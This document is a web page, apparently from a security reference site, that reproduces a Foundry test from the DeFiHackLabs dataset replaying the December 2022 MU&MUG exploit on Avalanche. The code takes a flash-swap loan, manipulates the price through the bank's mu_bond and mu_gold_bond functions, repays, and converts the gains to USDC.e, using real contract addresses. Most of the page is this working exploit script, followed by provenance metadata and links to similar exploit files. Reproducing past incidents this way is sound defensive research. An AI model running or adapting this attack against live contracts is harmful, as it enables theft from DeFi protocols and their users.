Public reproduction file
src/test/2022-12/MUMUG_exp.sol
Public reproduction file for dataset entry - MU&MUG.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BeosinAlert/status/16014224620124692489// @TX10// https://snowtrace.io/tx/0xab39a17cdc200c812ecbb05aead6e6f574712170eafbd73736b053b16855568012interface MUBank {13 function mu_bond(address stable, uint256 amount) external;14 function mu_gold_bond(address stable, uint256 amount) external;15}17contract ContractTest is Test {18 MUBank Bank = MUBank(0x4aA679402c6afcE1E0F7Eb99cA4f09a30ce228ab);19 IERC20 MU = IERC20(0xD036414fa2BCBb802691491E323BFf1348C5F4Ba);20 IERC20 MUG = IERC20(0xF7ed17f0Fb2B7C9D3DDBc9F0679b2e1098993e81);21 IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);22 Uni_Router_V2 Router = Uni_Router_V2(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);23 Uni_Pair_V2 Pair = Uni_Pair_V2(0x67d9aAb77BEDA392b1Ed0276e70598bf2A22945d); // MU MUG24 uint256 FlashLoanAmount;26 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);28 function setUp() public {29 cheats.createSelectFork("avalanche", 23_435_294);30 }32 function testExploit() public {33 MU.approve(address(Router), type(uint256).max);34 MUG.approve(address(Router), type(uint256).max);35 USDC_e.approve(address(Router), type(uint256).max);36 USDC_e.approve(address(Bank), type(uint256).max);37 FlashLoanAmount = MU.balanceOf(address(Pair)) - 1;38 Pair.swap(FlashLoanAmount, 0, address(this), new bytes(1));39 MUGToUSDC_e();41 emit log_named_decimal_uint("[End] Attacker USDC.e balance after exploit", USDC_e.balanceOf(address(this)), 6);42 }44 function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {45 MUToUSDC_e();46 Bank.mu_bond(address(USDC_e), 3300 * 1e18);47 Bank.mu_gold_bond(address(USDC_e), 6990 * 1e18);48 USDC_eToMU();49 MU.transfer(address(Pair), FlashLoanAmount * 1000 / 997 + 1000);50 }52 function MUToUSDC_e() internal {53 address[] memory path = new address[](2);54 path[0] = address(MU);55 path[1] = address(USDC_e);56 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(57 MU.balanceOf(address(this)), 0, path, address(this), block.timestamp58 );59 }61 function USDC_eToMU() internal {62 address[] memory path = new address[](2);63 path[0] = address(USDC_e);64 path[1] = address(MU);65 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(66 USDC_e.balanceOf(address(this)), 0, path, address(this), block.timestamp67 );68 }70 function MUGToUSDC_e() internal {71 address[] memory path = new address[](3);72 path[0] = address(MUG);73 path[1] = address(MU);74 path[2] = address(USDC_e);75 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(76 MUG.balanceOf(address(this)), 0, path, address(this), block.timestamp77 );78 }79}Analysis
Dataset entry
Public Foundry test for “- MU&MUG” (2022-12-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
- src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
- src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
- src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
- src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
- src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
- src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- MU&MUG
- Path
- src/test/2022-12/MUMUG_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- bf412c1aea82f557d50dbf58514b3456fd371445
- Language
- Solidity
- Size
- 80 lines
- Date
- 2022-12-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/MUMUG_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bf412c1aea82f557d50dbf58514b3456fd371445, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.